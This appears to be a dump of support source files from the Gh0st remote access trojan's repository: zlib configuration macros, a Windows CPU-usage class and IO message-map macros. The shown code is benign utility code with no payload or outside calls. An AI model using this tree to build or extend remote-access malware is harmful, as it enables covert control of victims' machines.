# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# endif
# endif
#endif
#if defined (__BEOS__)
# if defined (ZLIB_DLL)
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
#endif
#ifndef ZEXPORT
# define ZEXPORT
#endif
#ifndef ZEXPORTVA
# define ZEXPORTVA
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR
# define FAR
#endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
typedef unsigned char Byte; /* 8 bits */
#endif
typedef unsigned int uInt; /* 16 bits or more */
typedef unsigned long uLong; /* 32 bits or more */
#ifdef SMALL_MEDIUM
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
# define Bytef Byte FAR
#else
typedef Byte FAR Bytef;
#endif
typedef char FAR charf;
typedef int FAR intf;
typedef uInt FAR uIntf;
typedef uLong FAR uLongf;
#ifdef STDC
typedef void FAR *voidpf;
typedef void *voidp;
#else
typedef Byte FAR *voidpf;
typedef Byte *voidp;
#endif
#ifdef HAVE_UNISTD_H
# include <sys/types.h> /* for off_t */
# include <unistd.h> /* for SEEK_* and off_t */
# define z_off_t off_t
#endif
#ifndef SEEK_SET
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
# define z_off_t long
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
# pragma map(deflateInit_,"DEIN")
# pragma map(deflateInit2_,"DEIN2")
# pragma map(deflateEnd,"DEEND")
# pragma map(inflateInit_,"ININ")
# pragma map(inflateInit2_,"ININ2")
# pragma map(inflateEnd,"INEND")
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#endif
#endif /* _ZCONF_H */
| 07321-rat | trunk/gh0st/include/zlib/zconf.h | C | asf20 | 7,810 |
// CpuUsage.cpp: implementation of the CCpuUsage class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CpuUsage.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCpuUsage::CCpuUsage()
{
m_hQuery = NULL;
m_pCounterStruct = NULL;
}
CCpuUsage::~CCpuUsage()
{
PdhCloseQuery(m_hQuery);
delete m_pCounterStruct;
}
BOOL CCpuUsage::Init()
{
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))
return FALSE;
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
if (ERROR_SUCCESS != pdh_status)
{
return FALSE;
}
return TRUE;
}
int CCpuUsage::GetUsage()
{
PDH_FMT_COUNTERVALUE pdhFormattedValue;
PdhCollectQueryData(m_hQuery);
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(
m_pCounterStruct->hCounter,
PDH_FMT_LONG,
NULL,
&pdhFormattedValue ))
{
return 0;
}
return pdhFormattedValue.longValue;
} | 07321-rat | trunk/gh0st/include/CpuUsage.cpp | C++ | asf20 | 1,467 |
#ifndef __IO_MAPPER__
#define __IO_MAPPER__
#define net_msg
class __declspec(novtable) CIOMessageMap
{
public:
virtual bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize) = 0;
};
#define BEGIN_IO_MSG_MAP() \
public: \
bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) \
{ \
bool bRet = false;
#define IO_MESSAGE_HANDLER(msg, func) \
if (msg == clientIO) \
bRet = func(pContext, dwSize);
#define END_IO_MSG_MAP() \
return bRet; \
}
#endif | 07321-rat | trunk/gh0st/include/Mapper.h | C++ | asf20 | 548 |
// CpuUsage.h: interface for the CCpuUsage class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)
#define AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <pdh.h>
#include <pdhmsg.h>
#pragma comment(lib,"PDH.lib")
#define MAX_RAW_VALUES 20
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
typedef struct _tag_PDHCounterStruct {
HCOUNTER hCounter; // Handle to the counter - given to use by PDH Library
int nNextIndex; // element to get the next raw value
int nOldestIndex; // element containing the oldes raw value
int nRawCount; // number of elements containing raw values
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; // Ring buffer to contain raw values
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
class CCpuUsage
{
public:
CCpuUsage();
virtual ~CCpuUsage();
BOOL Init();
int GetUsage();
protected:
PPDHCOUNTERSTRUCT m_pCounterStruct;
HQUERY m_hQuery;
};
#endif // !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)
| 07321-rat | trunk/gh0st/include/CpuUsage.h | C++ | asf20 | 1,278 |